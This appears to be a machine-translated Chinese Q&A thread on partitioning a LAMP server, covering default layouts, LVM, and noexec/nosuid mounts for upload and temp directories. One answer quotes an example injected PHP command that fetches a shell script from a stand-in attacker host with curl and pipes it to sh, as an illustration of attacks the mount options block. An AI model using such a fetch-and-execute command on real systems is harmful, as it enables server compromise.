我需要一些关于 LAMP 服务器分区布局最佳方法的建议,即 LINUX + APACHE + PHP + MYSQL。
答案1
我建议使用您的操作系统的默认布局,除非您有一些特殊考虑,例如大量数据、非常高的使用率、潜在的大幅增长。
您以后可以随时扩展...例如,我们经常有:/tmp /boot /如果 mysql 由于磁盘 IO 而陷入困境,我们可以在 /var/lib/mysql 添加另一个磁盘或 SAN 挂载
如果您的文档根目录是 /var/www,您也可以随时安装更多磁盘资源。
有些人会吹捧使用更细粒度的系统会带来性能优势,但我经常发现这些说法在实际应用中并不成立,或者对性能影响不大,因为系统不受磁盘 IO 限制。
答案2
如果别的都无所谓*和 Metallica 一起唱*,你至少应该注意,你有一个单独的挂载 PHP 上传/临时文件和挂载你的 web 根目录禁止执行标志。这可以阻止大约 99% 的脚本小子攻击。
为什么?
因为实际上它们似乎都使用了类似
1)找到某些 PHP 脚本的弱点,例如通过某些 URL 参数传递任意代码。
2.1) 从您网站上的一些好的网络表单上传包含 C 代码或 shell 脚本的文件。
或者
2.2)让你的 Web 服务器通过 URL 参数下载并执行一些恶意代码,例如“system("curlhttp://icanhazyourcheezburger.com/ipwnj00.sh| sh”)等。其中一些指示您的服务器首先获取 C 源代码并使用 gcc 进行编译,因此禁用 Apache 用户的 gcc 也是一个好主意。
3)看看你的服务器中是如何安装后门的。
那么,禁止执行,禁止suid在这种情况下能帮上忙吗?根本不会执行任何代码。是的,这可以被覆盖,但它越来越难,而且无论如何,安全性是层层叠加的,这禁止执行,禁止suid事只是其中之一。
答案3
我通常执行以下操作(使用 Debian):
我把所有内容都放入 LVM(这与 Grub2 兼容)。
- /boot 1GB(用于救援/安装 CD 映像或其他棘手内容的空间。如果您谨慎的话,可以远离 LVM)。
- / 5-10 GB,如果我需要 Matlab 或 /opt 中的其他内容,也许需要 20GB
- /home 大小取决于服务器(什么样的用户?有多少?多少数据?)
- /var 的大小取决于服务器(主要是日志文件)
- /srv 并且大小取决于,但这是我放置 docroot 的地方(/srv/www)
具体来说,我不会填满整个 VG,因为这样当需求发生变化时,我会有更多发挥空间。而且可以使用 LVM 在线扩展文件系统。
答案4
看http://novosial.org/kickstart/#s3
它建议至少有单独的启动、交换和混合操作系统软件和用户分区 - 因为拥有多个小分区在空间和时间上并不高效。但是对于关键服务器,将不受信任的用户与关键文件系统区域隔离开来。这包括用户主目录和临时目录。它还建议使用 nosuid 或其他选项挂载用户区域,以防止不受信任的代码执行。